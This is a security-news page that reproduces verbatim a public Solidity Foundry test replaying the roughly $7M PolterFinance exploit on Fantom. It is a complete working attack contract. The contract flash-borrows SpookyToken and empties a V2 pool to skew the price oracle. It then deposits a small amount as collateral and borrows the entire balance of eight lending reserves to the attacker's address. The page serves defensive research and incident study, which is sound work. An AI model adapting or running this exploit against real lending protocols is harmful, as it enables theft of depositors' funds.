Skip to content
THREATWIRE

Public reproduction file

src/test/2024-11/PolterFinance_exploit.sol

Public reproduction file for dataset entry PolterFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-11/PolterFinance_exploit.sol226 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : $7M
8// Attacker : https://ftmscan.com/address/0x511f427Cdf0c4e463655856db382E05D79Ac44a6
9// Attack Contract : https://ftmscan.com/address/0xA21451aC32372C123191B3a4FC01deB69F91533a
10// Vulnerable Contract : https://ftmscan.com/address/0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5
11// Attack Tx : https://ftmscan.com/tx/0x5118df23e81603a64c7676dd6b6e4f76a57e4267e67507d34b0b26dd9ee10eac
13// @Info
14// Vulnerable Contract Code : https://ftmscan.com/address/0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5#code
16// @Analysis
17// Post-mortem : https://twitter.com/Bcpaintball26/status/1857865758551805976
18// Twitter Guy : https://twitter.com/Bcpaintball26/status/1857865758551805976
19// Hacking God : https://twitter.com/Bcpaintball26/status/1857865758551805976
20pragma solidity ^0.8.0;
22contract PolterFinance is BaseTestWithBalanceLog {
23 uint256 blocknumToForkFrom = 97508838;
25 function setUp() public {
26 vm.createSelectFork("fantom", blocknumToForkFrom);
27 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
28 // WFTM
29 fundingToken = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
30 // Lots of other token does not count in here, but you can check.
31 }
33 function testExploit() public balanceLog {
34 //implement exploit code here
35 EXPLOIT_DO3 it = new EXPLOIT_DO3(address(this));
36 it.doTask();
37 }
39 function run() external {
40 EXPLOIT_DO3 it = new EXPLOIT_DO3(address(this));
41 it.doTask();
43 console.log("wftm balance: %e", WFTM.balanceOf(address(this)));
44 }
47IERC20 constant spookyToken = IERC20(address(0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE));
48IERC20 constant WFTM = IERC20(address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83));
49IERC20 constant MIM = IERC20(address(0x82f0B8B456c1A451378467398982d4834b6829c1));
50IERC20 constant sFTMX = IERC20(address(0xd7028092c830b5C8FcE061Af2E593413EbbC1fc1));
51IERC20 constant axlUSDC = IERC20(address(0x1B6382DBDEa11d97f24495C9A90b7c88469134a4));
52IERC20 constant wBTC = IERC20(address(0xf1648C50d2863f780c57849D812b4B7686031A3D));
53IERC20 constant wETH = IERC20(address(0x695921034f0387eAc4e11620EE91b1b15A6A09fE));
54IERC20 constant USDCe = IERC20(address(0x2F733095B80A04b38b0D10cC884524a3d09b836a));
55IERC20 constant wSOL = IERC20(address(0xd99021C2A33e4Cf243010539c9e9b7c52E0236c1));
57Uni_Pair_V3 constant WFTM_SpookyToken_V3Pool = Uni_Pair_V3(address(0xEd23Be0cc3912808eC9863141b96A9748bc4bd89));
58IUniswapV2Pair constant JFTM_SpookyToken_V2Pool = IUniswapV2Pair(address(0xEc7178F4C41f346b2721907F5cF7628E388A7a58));
59PitfallInterface constant pitfall = PitfallInterface(address(0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5));
60LendingPoolInterface constant lendingPool = LendingPoolInterface(address(0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5));
61Uni_Router_V2 constant router = Uni_Router_V2(address(0xF491e7B69E4244ad4002BC14e878a34207E38c29));
63contract EXPLOIT_DO3 {
64 address owner;
66 constructor(address _owner) {
67 owner = _owner;
68 }
70 function doTask() public payable {
71 WFTM_SpookyToken_V3Pool.flash(address(this), 0, spookyToken.balanceOf(address(WFTM_SpookyToken_V3Pool)), "");
72 }
74 function uniswapV3FlashCallback(uint256, uint256 fee1, bytes calldata) external {
75 uint256 needToRepay = spookyToken.balanceOf(address(this)) + fee1;
76 JFTM_SpookyToken_V2Pool.swap(
77 0,
78 spookyToken.balanceOf(address(JFTM_SpookyToken_V2Pool)) - 1e6,
79 address(this),
80 "0"
81 );
82 WFTM.approve(address(router), type(uint256).max);
83 address[] memory path = new address[](2);
84 path[0] = address(WFTM);
85 path[1] = address(spookyToken);
86 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(5e21, 0, path, address(this), block.timestamp);
87 // console.log("needToRepay: %e", needToRepay);
88 // console.log("having: %e", spookyToken.balanceOf(address(this)));
89 spookyToken.transfer(address(WFTM_SpookyToken_V3Pool), needToRepay);
90 spookyToken.transfer(address(owner), spookyToken.balanceOf(address(this)));
91 WFTM.transfer(address(owner), WFTM.balanceOf(address(this)));
92 }
94 function uniswapV2Call(address s, uint256 a0, uint256 a1, bytes calldata data) external {
95 spookyToken.approve(address(pitfall), 1e18);
96 {
97 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(spookyToken));
98 spookyToken.balanceOf(address(0x258345C300629198eDC37B169d3E1a0FEcCf09c1));
99 }
101 pitfall.deposit(address(spookyToken), 1e18, address(this), 0);
102 // lendingPool.getUserAccountData(address(this));
104 // exploits
105 {
106 // WFTM token
107 {
108 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(WFTM));
110 pitfall.borrow(address(WFTM), WFTM.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
111 WFTM.balanceOf(address(this));
112 }
113 // MIM token
114 {
115 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(MIM));
116 pitfall.borrow(address(MIM), MIM.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
117 MIM.transfer(address(owner), MIM.balanceOf(address(this)));
118 }
119 // sFTMX token
120 {
121 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(sFTMX));
122 pitfall.borrow(address(sFTMX), sFTMX.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
123 sFTMX.transfer(address(owner), sFTMX.balanceOf(address(this)));
124 }
125 // axlUSDC token
126 {
127 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(axlUSDC));
128 pitfall.borrow(address(axlUSDC), axlUSDC.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
129 axlUSDC.transfer(address(owner), axlUSDC.balanceOf(address(this)));
130 }
131 // wBTC token
132 {
133 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(wBTC));
134 pitfall.borrow(address(wBTC), wBTC.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
135 wBTC.transfer(address(owner), wBTC.balanceOf(address(this)));
136 }
137 // wETH token
138 {
139 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(wETH));
140 pitfall.borrow(address(wETH), wETH.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
141 wETH.transfer(address(owner), wETH.balanceOf(address(this)));
142 }
143 // USDCe token
144 {
145 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(USDCe));
146 pitfall.borrow(address(USDCe), USDCe.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
147 USDCe.transfer(address(owner), USDCe.balanceOf(address(this)));
148 }
149 // wSOL token
150 {
151 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(wSOL));
152 pitfall.borrow(address(wSOL), wSOL.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
153 wSOL.transfer(address(owner), wSOL.balanceOf(address(this)));
154 }
155 }
157 spookyToken.transfer(address(JFTM_SpookyToken_V2Pool), (a1 * 1000) / 998 + 1);
158 }
161interface LendingPoolInterface {
162 // getUserAccountData
163 function getUserAccountData(
164 address a
165 )
166 external
167 returns (
168 uint256 totalCollateralETH,
169 uint256 totalDebtETH,
170 uint256 availableBorrowsETH,
171 uint256 currentLiquidationThreshold,
172 uint256 ltv,
173 uint256 healthFactor
174 );
177interface PitfallInterface {
178 struct ReserveConfigurationMap {
179 //bit 0-15: LTV
180 //bit 16-31: Liq. threshold
181 //bit 32-47: Liq. bonus
182 //bit 48-55: Decimals
183 //bit 56: Reserve is active
184 //bit 57: reserve is frozen
185 //bit 58: borrowing is enabled
186 //bit 59: stable rate borrowing enabled
187 //bit 60-63: reserved
188 //bit 64-79: reserve factor
189 uint256 data;
190 }
192 struct ReserveData {
193 //stores the reserve configuration
194 ReserveConfigurationMap configuration;
195 //the liquidity index. Expressed in ray
196 uint128 liquidityIndex;
197 //variable borrow index. Expressed in ray
198 uint128 variableBorrowIndex;
199 //the current supply rate. Expressed in ray
200 uint128 currentLiquidityRate;
201 //the current variable borrow rate. Expressed in ray
202 uint128 currentVariableBorrowRate;
203 //the current stable borrow rate. Expressed in ray
204 uint128 currentStableBorrowRate;
205 uint40 lastUpdateTimestamp;
206 //tokens addresses
207 address aTokenAddress;
208 address stableDebtTokenAddress;
209 address variableDebtTokenAddress;
210 //address of the interest rate strategy
211 address interestRateStrategyAddress;
212 //the id of the reserve. Represents the position in the list of the active reserves
213 uint8 id;
214 }
216 function deposit(address asset, uint256 amount, address onBehalfOf, uint16 refCode) external;
217 function getReservesList() external returns (address[] memory);
218 function getReserveData(address asset) external returns (ReserveData memory);
219 function borrow(
220 address asset,
221 uint256 amount,
222 uint256 interestRateMode,
223 uint16 refCode,
224 address onBehalfOf
225 ) external;

Analysis

Dataset entry

Public Foundry test for “PolterFinance” (2024-11-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x511f427cdf0c4e463655856db382e05d79ac44a6

  • Attack Contract

    0xa21451ac32372c123191b3a4fc01deb69f91533a

  • Vulnerable Contract

    0x867faa51b3a437b4e2e699945590ef4f2be2a6d5

  • Attack Tx

    0x5118df23e81603a64c7676dd6b6e4f76a57e4267e67507d34b0b26dd9ee10eac

File record

Name
PolterFinance
Path
src/test/2024-11/PolterFinance_exploit.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
08d688afec17604408ab2568d99637c8a2b8c1db
Language
Solidity
Size
227 lines
Date
2024-11-19
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-11/PolterFinance_exploit.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 08d688afec17604408ab2568d99637c8a2b8c1db, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.